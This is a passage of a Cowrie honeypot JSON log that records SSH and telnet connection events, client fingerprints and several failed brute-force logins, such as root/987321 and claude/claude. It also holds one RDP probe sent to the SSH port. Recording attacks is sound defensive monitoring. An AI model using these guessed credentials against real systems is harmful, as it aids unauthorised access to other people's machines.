2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:40.303704Z","src_ip":"150.109.25.130","session":"c6431179cd36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.76891613006592,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:40.378881Z","src_ip":"192.119.13.58","session":"7653eaeb939c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.598915338516235,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:40.865840Z","src_ip":"192.119.13.58","session":"b1fa780175c8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"987321","message":"login attempt [root/987321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:41.286160Z","src_ip":"150.109.25.130","session":"c6431179cd36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:42.527315Z","src_ip":"150.109.25.130","session":"c6431179cd36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":33926,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1bf080176ba","protocol":"ssh","message":"New connection: 43.163.121.249:33926 (159.203.135.109:22) [session: e1bf080176ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:44.087296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:44.092087Z","src_ip":"43.163.121.249","session":"e1bf080176ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:44.338307Z","src_ip":"43.163.121.249","session":"e1bf080176ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5tgb6yhn7ujm","message":"login attempt [root/5tgb6yhn7ujm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:45.353693Z","src_ip":"43.163.121.249","session":"e1bf080176ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":36582,"dst_ip":"159.203.135.109","dst_port":22,"session":"55a279068df6","protocol":"ssh","message":"New connection: 69.6.222.198:36582 (159.203.135.109:22) [session: 55a279068df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:45.891660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:45.897176Z","src_ip":"69.6.222.198","session":"55a279068df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:46.011434Z","src_ip":"69.6.222.198","session":"55a279068df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"murielle","message":"login attempt [root/murielle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:46.502129Z","src_ip":"69.6.222.198","session":"55a279068df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:46.602450Z","src_ip":"43.163.121.249","session":"e1bf080176ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:47.619924Z","src_ip":"69.6.222.198","session":"55a279068df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45980,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc17a59a26f8","protocol":"telnet","message":"New connection: 192.119.13.58:45980 (10.17.0.5:23) [session: dc17a59a26f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:52.149852Z"}
{"eventid":"cowrie.session.closed","duration":44.352508306503296,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:52.246945Z","src_ip":"192.119.13.58","session":"4f02d378e6bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.57744383811951,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:52.291158Z","src_ip":"192.119.13.58","session":"cb5b135c221b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.72036838531494,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:40:57.580317Z","src_ip":"192.119.13.58","session":"98b8c7870729","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.48033356666565,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:01.736912Z","src_ip":"192.119.13.58","session":"dcedcf73ef94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38584,"dst_ip":"10.17.0.5","dst_port":23,"session":"074178e2bc6f","protocol":"telnet","message":"New connection: 192.119.13.58:38584 (10.17.0.5:23) [session: 074178e2bc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:03.118250Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42456,"dst_ip":"10.17.0.5","dst_port":23,"session":"494333c5d8b5","protocol":"telnet","message":"New connection: 192.119.13.58:42456 (10.17.0.5:23) [session: 494333c5d8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:08.558483Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60177,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b45ab59038e","protocol":"ssh","message":"New connection: 167.172.81.52:60177 (159.203.135.109:22) [session: 3b45ab59038e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:15.431798Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:15.448565Z","src_ip":"167.172.81.52","session":"3b45ab59038e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:15.453084Z","src_ip":"167.172.81.52","session":"3b45ab59038e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.65043568611145,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:16.286262Z","src_ip":"192.119.13.58","session":"945c067a6b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35248,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cc4e6479ebf","protocol":"telnet","message":"New connection: 192.119.13.58:35248 (10.17.0.5:23) [session: 1cc4e6479ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:19.410465Z"}
{"eventid":"cowrie.session.closed","duration":48.5990777015686,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:22.596902Z","src_ip":"192.119.13.58","session":"d7f3a7bff4d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51552,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8acb8fbb2b9","protocol":"telnet","message":"New connection: 192.119.13.58:51552 (10.17.0.5:23) [session: a8acb8fbb2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:22.929256Z"}
{"eventid":"cowrie.session.closed","duration":0.0058481693267822266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:22.934971Z","src_ip":"192.119.13.58","session":"a8acb8fbb2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.42180418968201,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:23.778249Z","src_ip":"192.119.13.58","session":"b750d11fe5fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":41952,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ca8bd1d6171","protocol":"ssh","message":"New connection: 43.134.100.175:41952 (159.203.135.109:22) [session: 3ca8bd1d6171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:26.559462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:26.569844Z","src_ip":"43.134.100.175","session":"3ca8bd1d6171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:26.799627Z","src_ip":"43.134.100.175","session":"3ca8bd1d6171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:27.749591Z","src_ip":"43.134.100.175","session":"3ca8bd1d6171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:28.982480Z","src_ip":"43.134.100.175","session":"3ca8bd1d6171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":60734,"dst_ip":"159.203.135.109","dst_port":22,"session":"babc24d749c7","protocol":"ssh","message":"New connection: 150.109.25.130:60734 (159.203.135.109:22) [session: babc24d749c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:30.391162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:30.396443Z","src_ip":"150.109.25.130","session":"babc24d749c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:30.642544Z","src_ip":"150.109.25.130","session":"babc24d749c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gnome","message":"login attempt [root/gnome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:31.659435Z","src_ip":"150.109.25.130","session":"babc24d749c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:32.910492Z","src_ip":"150.109.25.130","session":"babc24d749c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":39780,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d6859e779a","protocol":"ssh","message":"New connection: 165.154.5.249:39780 (159.203.135.109:22) [session: 45d6859e779a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:34.250622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:34.255340Z","src_ip":"165.154.5.249","session":"45d6859e779a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:34.480902Z","src_ip":"165.154.5.249","session":"45d6859e779a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:35.401406Z","src_ip":"165.154.5.249","session":"45d6859e779a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:36.630660Z","src_ip":"165.154.5.249","session":"45d6859e779a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.95946979522705,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:37.109232Z","src_ip":"192.119.13.58","session":"dc17a59a26f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79234457015991,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:37.910461Z","src_ip":"192.119.13.58","session":"074178e2bc6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50492,"dst_ip":"10.17.0.5","dst_port":23,"session":"99a9cd0527b9","protocol":"telnet","message":"New connection: 192.119.13.58:50492 (10.17.0.5:23) [session: 99a9cd0527b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:44.272023Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38444,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b42bb804cce","protocol":"telnet","message":"New connection: 192.119.13.58:38444 (10.17.0.5:23) [session: 2b42bb804cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:47.604412Z"}
{"eventid":"cowrie.session.closed","duration":30.635809183120728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:50.046163Z","src_ip":"192.119.13.58","session":"1cc4e6479ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37846,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb64d6978d75","protocol":"telnet","message":"New connection: 192.119.13.58:37846 (10.17.0.5:23) [session: eb64d6978d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:54.524923Z"}
{"eventid":"cowrie.session.closed","duration":0.010071039199829102,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:54.534848Z","src_ip":"192.119.13.58","session":"eb64d6978d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":56242,"dst_ip":"10.17.0.5","dst_port":22,"session":"153618d3132e","protocol":"ssh","message":"New connection: 147.45.211.215:56242 (10.17.0.5:22) [session: 153618d3132e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:55.338722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:55.343602Z","src_ip":"147.45.211.215","session":"153618d3132e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 